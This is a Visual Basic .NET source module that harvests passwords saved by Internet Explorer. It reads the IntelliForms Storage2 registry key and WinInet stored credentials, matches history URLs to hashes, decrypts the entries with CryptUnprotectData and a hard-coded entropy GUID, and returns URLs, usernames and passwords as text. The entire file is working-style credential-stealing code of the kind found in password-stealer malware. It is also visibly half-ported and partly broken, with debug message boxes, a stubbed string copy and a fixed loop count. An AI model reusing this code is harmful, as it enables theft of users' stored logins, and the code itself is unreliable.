Imports System.Runtime.InteropServices
Imports System.Text

Module Module1



    Private Declare Sub CopyBytes Lib "msvbvm60" Alias "__vbaCopyBytes" (ByVal Size, ByRef Dest, ByRef Source)
    Private Declare Function CryptUnprotectData Lib "crypt32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal pOptionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Integer
    Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Integer, ByVal lpSubKey As String, ByVal ulOptions As Integer, ByVal samDesired As Integer, ByRef phkResult As Integer) As Integer
    Private Declare Function RegEnumValue Lib "advapi32" Alias "RegEnumValueA" (ByVal hKey As Integer, ByVal dwIndex As Integer, ByVal lpValueName As String, ByRef lpcbValueName As Integer, ByVal lpReserved As Integer, ByRef lpType As Integer, ByRef lpData As Byte, ByRef lpcbData As Integer) As Integer
    Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Integer, ByVal lpValueName As String, ByVal lpReserved As Integer, ByRef lpType As Integer, ByRef lpData As Integer, ByRef lpcbData As Integer) As Integer
    Private Declare Function CryptAcquireContext Lib "advapi32" Alias "CryptAcquireContextA" (ByRef phProv As Integer, ByVal pszContainer As Integer, ByVal pszProvider As String, ByVal dwProvType As Integer, ByVal dwFlags As Integer) As Integer
    Private Declare Function CryptCreateHash Lib "advapi32" (ByVal hProv As Integer, ByVal Algid As Integer, ByVal hKey As Integer, ByVal dwFlags As Integer, ByRef phHash As Integer) As Integer
    Private Declare Function CryptHashData Lib "advapi32" (ByVal hHash As Integer, ByVal pbData As Integer, ByVal dwDataLen As Integer, ByVal dwFlags As Integer) As Integer
    Private Declare Function CryptGetHashParam Lib "advapi32" (ByVal hHash As Integer, ByVal dwParam As Integer, ByVal pByte As Integer, ByRef pdwDataLen As Integer, ByVal dwFlags As Integer) As Integer
    Private Declare Function CryptSignHash Lib "advapi32" Alias "CryptSignHashA" (ByVal hHash As Integer, ByVal dwKeySpec As Integer, ByVal sDescription As Integer, ByVal dwFlags As Integer, ByVal pbSignature As Integer, ByRef pdwSigLen As Integer) As Integer
    Private Declare Function CryptDestroyHash Lib "advapi32" (ByVal hHash As Integer) As Integer
    Private Declare Function CryptReleaseContext Lib "advapi32" (ByVal hProv As Integer, ByVal dwFlags As Integer) As Integer
    Private Declare Function CredEnumerate Lib "advapi32" Alias "CredEnumerateW" (ByVal lpszFilter As Integer, ByVal lFlags As Integer, ByRef pCount As Integer, ByRef lppCredentials As Integer) As Integer
    Private Declare Function FindFirstUrlCacheEntry Lib "wininet" Alias "FindFirstUrlCacheEntryA" (ByVal lpszUrlSearchPattern As String, ByRef lpFirstCacheEntryInfo As Integer, ByRef lpdwFirstCacheEntryInfobufDataerSize As Integer) As Integer
    Private Declare Function FindNextUrlCacheEntry Lib "wininet" Alias "FindNextUrlCacheEntryA" (ByVal hEnumHandle As Integer, ByRef lpNextCacheEntryInfo As Integer, ByRef lpdwNextCacheEntryInfobufDataerSize As Integer) As Integer
    Private Declare Function lstrlenA Lib "kernel32" (ByVal ptr) As Integer
    Private Declare Function lstrcpyA Lib "kernel32" (ByVal RetVal As String, ByVal ptr As Integer) As Integer
    Private Declare Function SysAllocString Lib "oleaut32" (ByVal pOlechar As Integer) As String

    Private Structure FILETIME
        Dim dwLowDateTime As Integer
        Dim dwHighDateTime As Integer
    End Structure
    Private Structure StringIndexHeader
        Dim dwWICK As Integer
        Dim dwStructSize As Integer
        Dim dwEntriesCount As Integer
        Dim dwUnkId As Integer
        Dim dwType As Integer
        Dim dwUnk As Integer
    End Structure
    Private Structure StringIndexEntry
        Dim dwDataOffset As Integer
        Dim ftInsertDateTime As FILETIME
        Dim dwDataSize As Integer
    End Structure
    Private Structure DATA_BLOB
        Dim cbData As Integer
        Dim pbData As Integer
    End Structure
    Private Structure CREDENTIAL
        Dim dwFlags As Integer
        Dim dwType As Integer
        Dim lpstrTargetName As Integer
        Dim lpstrComment As Integer
        Dim ftLastWritten As FILETIME
        Dim dwCredentialBlobSize As Integer
        Dim lpbCredentialBlob As Integer
        Dim dwPersist As Integer
        Dim dwAttributeCount As Integer
        Dim lpAttributes As Integer
        Dim lpstrTargetAlias As Integer
        Dim lpUserName As Integer
    End Structure
    Private Structure INTERNET_CACHE_ENTRY_INFO
        Dim dwStructSize As Integer
        Dim lpszSourceUrlName As Integer
        Dim lpszLocalFileName As Integer
        Dim CacheEntryType As Integer
        Dim dwUseCount As Integer
        Dim dwHitRate As Integer
        Dim dwSizeLow As Integer
        Dim dwSizeHigh As Integer
        Dim LastModifiedTime As FILETIME
        Dim ExpireTime As FILETIME
        Dim LastAccessTime As FILETIME
        Dim LastSyncTime As FILETIME
        Dim lpHeaderInfo As Integer
        Dim dwHeaderInfoSize As Integer
        Dim lpszFileExtension As Integer
        Dim dwExemptDelta As Integer
    End Structure

    Private Const NORMAL_CACHE_ENTRY As Integer = &H1
    Private Const URLHISTORY_CACHE_ENTRY As Integer = &H200000


    Private Const HKEY_CURRENT_USER As Integer = &H80000001
    Private Const IE_KEY As String = "Software\Microsoft\Internet Explorer\IntelliForms\Storage2"
    Private Const READ_CONTROL As Integer = &H20000
    Private Const SYNCHRONIZE As Integer = &H100000
    Private Const KEY_ENUMERATE_SUB_KEYS As Integer = &H8
    Private Const KEY_QUERY_VALUE As Integer = &H1
    Private Const KEY_NOTIFY As Integer = &H10
    Private Const KEY_READ As Integer = ((READ_CONTROL Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
    Private Const ERROR_SUCCESS As Integer = 0

    Private Const PROV_RSA_FULL As Integer = 1
    Private Const ALG_CLASS_HASH As Integer = (4 * 2 ^ 13)
    Private Const ALG_TYPE_ANY As Integer = 0
    Private Const ALG_SID_SHA As Integer = 4
    Private Const CALG_SHA As Integer = (ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_SHA)
    Private Const HP_HASHVAL As Integer = &H2

    Private hKey As Integer
    Private m_Data As String
    Private m_Storage() As String
    Private i As Short
    Public Function GetIE() As String
        Try
        Dim x As Short
        Dim strOut() As String
        Dim strSplit() As String
        'Dim strHash() As String

        m_Data = vbNullString : Erase m_Storage : hKey = 0

            Call GetStorage2()

        Call GetCredentials()
        If Len(m_Data) = 0 Then Exit Function
        strOut = Split(m_Data, vbFormFeed)

            ReDim Preserve m_Storage(UBound(strOut) - 1)

        For i = 0 To UBound(strOut) - 1
            strSplit = Split(strOut(i), vbVerticalTab)

            For x = 0 To UBound(m_Storage)
                If m_Storage(x) = strSplit(3) And m_Storage(x) <> "n/a" Then GoTo skipMsg
            Next x


            Return "URL: " & strSplit(0) & vbCrLf & "Username: " & strSplit(1) & vbCrLf & "Password: " & strSplit(2) & vbCrLf & "Hash: " & strSplit(3) & vbCrLf & vbCrLf

skipMsg:
            m_Storage(i) = strSplit(3)
            Next i
        Catch ex As Exception
            MsgBox(ex.ToString)
        End Try
    End Function
    Private Sub GetCredentials()
        Dim sRes, tmp, sURL As String
        Dim tAuth() As String
        Dim dwNumCreds, ptrData, lpCredentials As Integer
        Dim bufData(36) As Short
        Dim x As Short
        Dim m_Cred As CREDENTIAL
        Dim dataOut, dataIn, dataEntry As DATA_BLOB

        'Call CredEnumerate(Marshal.PtrToStringAuto("Microsoft_WinInet_*"), 0, dwNumCreds, lpCredentials)
        Call CredEnumerate(StringToPointer("Microsoft_WinInet_*").ToInt32, 0, dwNumCreds, lpCredentials)
        If 1 = 1 Then

            'For i = 0 To dwNumCreds - 1
            For i = 0 To 100
                CopyBytes(4, VarPtr(ptrData), lpCredentials + (i) * 4)

                CopyBytes(Marshal.SizeOf(m_Cred), VarPtr(m_Cred), ptrData)

                sRes = CopyString(m_Cred.lpstrTargetName) : dataEntry.cbData = 74

                For x = 0 To 36 : bufData(x) = CShort(Asc(Mid("abe2869f-9b47-4cd9-a358-c22904dba7f7" & vbNullChar, x + 1, 1)) * 4) : Next


                dataEntry.pbData = VarPtr(bufData(0)) : dataIn.pbData = m_Cred.lpbCredentialBlob : dataIn.cbData = m_Cred.dwCredentialBlobSize : dataOut.cbData = 0 : dataOut.pbData = 0
                Call CryptUnprotectData(dataIn, 0, VarPtr(dataEntry), 0, 0, 0, dataOut)

                tmp = Space(dataOut.cbData \ 2 - 1)
                CopyBytes(dataOut.cbData, Marshal.PtrToStringAuto(tmp), dataOut.pbData)
                tAuth = Split(tmp, ":") : x = InStr(Mid(sRes, 19), "/")

                If x > 0 Then
                    sURL = Mid(sRes, 19, x - 1)
                Else
                    sURL = Mid(sRes, 19)
                End If

                m_Data = m_Data & sURL & vbVerticalTab & tAuth(0) & vbVerticalTab & tAuth(1) & vbVerticalTab & "n/a" & vbFormFeed
                MsgBox(m_Data)
            Next
        End If
    End Sub
    <DllImport("kernel32")> _
    Private Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
    End Function

    <DllImport("kernel32")> _
    Private Function GetProcessHeap() As IntPtr
    End Function
    Private Function StringToPointer(ByVal str As [String]) As IntPtr
        If str Is Nothing Then
            Return IntPtr.Zero
        Else
            Dim encoding__1 As Encoding = Encoding.UTF8
            Dim bytes As [Byte]() = encoding__1.GetBytes(str)
            Dim length As UInteger = bytes.Length + 1
            Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32))
            Marshal.Copy(bytes, 0, pointer, bytes.Length)
            Marshal.WriteByte(pointer, bytes.Length, 0)
            Return pointer
        End If
    End Function
    Private Sub GetStorage2()
        Dim sRet, tmp, sHash As String
        Dim dwSize, m_Cache, cbData As Integer
        Dim x, z As Short
        Dim bufData() As Byte

        Dim m_URL As INTERNET_CACHE_ENTRY_INFO
        If RegOpenKeyEx(HKEY_CURRENT_USER, IE_KEY, 0, KEY_READ, hKey) <> ERROR_SUCCESS Then Exit Sub

        Do
            sRet = Space(4096)
            If RegEnumValue(hKey, z, sRet, 4096, 0, 0, 0, 0) <> 0 Then Exit Do
            sRet = StripTerminator(sRet)

            m_Cache = FindFirstUrlCacheEntry(vbNullString, 0, dwSize)
            If dwSize Then
                ReDim bufData(dwSize - 1) : CopyBytes(4, bufData(0), dwSize)
                m_Cache = FindFirstUrlCacheEntry(vbNullString, bufData(0), dwSize)
            Else
                Exit Sub
            End If

            Do
                CopyBytes(Marshal.SizeOf(m_URL), m_URL, bufData(0))
                If (m_URL.CacheEntryType And (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY)) = (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY) Then
                    tmp = Trim(GetStrFromPtrA(m_URL.lpszSourceUrlName))

                    x = InStr(tmp, "file://")
                    If x Then GoTo Nxt
                    x = InStr(tmp, "@")
                    If x Then tmp = Mid(tmp, x + 1)
                    x = InStr(tmp, "?")
                    If x Then tmp = Left(tmp, x - 1)
                    tmp = LCase(tmp)

                    sHash = GetSHA1Hash(Marshal.PtrToStringAuto(tmp), (Len(tmp) + 1) * 2)
                    If sHash = sRet Then
                        RegQueryValueEx(hKey, sHash, 0, 3, 0, cbData)
                        If cbData Then Call DecryptData(tmp, sHash, cbData)
                    Else
                        tmp = tmp & "/"
                        sHash = GetSHA1Hash(Marshal.PtrToStringAuto(tmp), (Len(tmp) + 1) * 2)
                        If sHash = sRet Then
                            RegQueryValueEx(hKey, sHash, 0, 3, 0, cbData)
                            If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
                        End If
                    End If
                End If

Nxt:
                dwSize = 0 : Call FindNextUrlCacheEntry(m_Cache, 0, dwSize)
                If dwSize Then
                    ReDim bufData(dwSize - 1)
                    CopyBytes(4, bufData(0), dwSize)
                End If

            Loop While FindNextUrlCacheEntry(m_Cache, bufData(0), dwSize)

            z = z + 1
        Loop
    End Sub
    Private Sub DecryptData(ByRef sURL As String, ByRef sHash As String, ByVal cbData As Integer)
        Dim sUsername, sPassword As String
        Dim ptrData, ptrEntry As Integer

        Dim hIndex As StringIndexHeader
        Dim eIndex As StringIndexEntry
        Dim dataOut, dataIn, dataEntry As DATA_BLOB

        Dim bufData() As Byte

        ReDim bufData(cbData - 1)
        Call RegQueryValueEx(hKey, sHash, 0, 3, bufData(0), cbData)
        dataIn.cbData = cbData
        dataIn.pbData = VarPtr(bufData(0))
        dataEntry.cbData = (Len(sURL) + 1) * 2
        dataEntry.pbData = Marshal.PtrToStringAuto(sURL)
        Call CryptUnprotectData(dataIn, 0, VarPtr(dataEntry), 0, 0, 0, dataOut)

        ReDim bufData(dataOut.cbData - 1)
        CopyBytes(dataOut.cbData, bufData(0), dataOut.pbData)

        CopyBytes(Len(hIndex), hIndex, bufData(bufData(0)))

        If hIndex.dwType = 1 Then
            If hIndex.dwEntriesCount >= 2 Then
                ptrEntry = VarPtr(bufData(bufData(0))) + hIndex.dwStructSize

                ptrData = ptrEntry + hIndex.dwEntriesCount * Len(eIndex)
                If ptrData = 0 Or ptrEntry = 0 Then Exit Sub

                For i = 1 To hIndex.dwEntriesCount / 2
                    If i <> 1 Then ptrEntry = ptrEntry + Len(eIndex)

                    CopyBytes(Len(eIndex), eIndex, ptrEntry)
                    sUsername = Space(eIndex.dwDataSize)
                    If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
                        CopyBytes(eIndex.dwDataSize * 2, Marshal.PtrToStringAuto(sUsername), ptrData + eIndex.dwDataOffset)
                    Else
                        CopyBytes(eIndex.dwDataSize, sUsername, ptrData + eIndex.dwDataOffset)
                    End If
                    ptrEntry = ptrEntry + Len(eIndex)
                    CopyBytes(Len(eIndex), eIndex, ptrEntry)
                    sPassword = Space(eIndex.dwDataSize)
                    If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
                        Call CopyBytes(eIndex.dwDataSize * 2, Marshal.PtrToStringAuto(sPassword), ptrData + eIndex.dwDataOffset)
                    Else
                        Call CopyBytes(eIndex.dwDataSize, sPassword, ptrData + eIndex.dwDataOffset)
                    End If

                    m_Data = m_Data & sURL & vbVerticalTab & sUsername & vbVerticalTab & sPassword & vbVerticalTab & sHash & "/" & i & vbFormFeed
                Next i

            End If
        End If
    End Sub
    Private Function GetSHA1Hash(ByVal pbData As Integer, ByVal dwDataLen As Integer) As String
        Dim hProv, hHash As Integer
        Dim bufData(20) As Byte

        Call CryptAcquireContext(hProv, 0, vbNullString, PROV_RSA_FULL, 0)
        Call CryptCreateHash(hProv, CALG_SHA, 0, 0, hHash)
        Call CryptHashData(hHash, pbData, dwDataLen, 0)
        Call CryptGetHashParam(hHash, HP_HASHVAL, VarPtr(bufData(0)), 20, 0)
        Call CryptDestroyHash(hHash)
        Call CryptReleaseContext(hProv, 0)

        For i = 0 To 19 : GetSHA1Hash = GetSHA1Hash & Right("00" & Hex(bufData(i)), 2) : Next

        GetSHA1Hash = GetSHA1Hash & Right("00" & Hex(CheckSum(GetSHA1Hash)), 2)
    End Function
    Private Function CheckSum(ByRef s As String) As Byte
        Dim sum As Integer

        For i = 1 To Len(s) Step 2 : sum = sum + Val("&H" & Mid(s, i, 2)) : Next
        CheckSum = CByte(sum Mod 256)
    End Function
    Private Function StripTerminator(ByRef s As String) As String
        Dim z As Short

        z = InStr(1, s, vbNullChar)
        If z > 0 Then
            StripTerminator = Left(s, z - 1)
        Else
            StripTerminator = s
        End If
    End Function
    Private Function CopyString(ByVal ptr As Integer) As String
        If ptr Then
            'commented out cos of errors
            'CopyString = StrConv(SysAllocString(ptr), vbFromUnicode)
            MsgBox("possible error")
        Else
            CopyString = vbNullString
        End If
    End Function
    Private Function GetStrFromPtrA(ByVal lpszA As Integer) As String
        GetStrFromPtrA = New String(Chr(0), lstrlenA(lpszA))
        Call lstrcpyA(GetStrFromPtrA, lpszA)
    End Function


    Public Function VarPtr(ByVal e As Object) As Integer
        Dim GC As GCHandle = GCHandle.Alloc(e, GCHandleType.Pinned)
        Dim GC2 As Integer = GC.AddrOfPinnedObject.ToInt32
        GC.Free()
        Return GC2
    End Function
End Module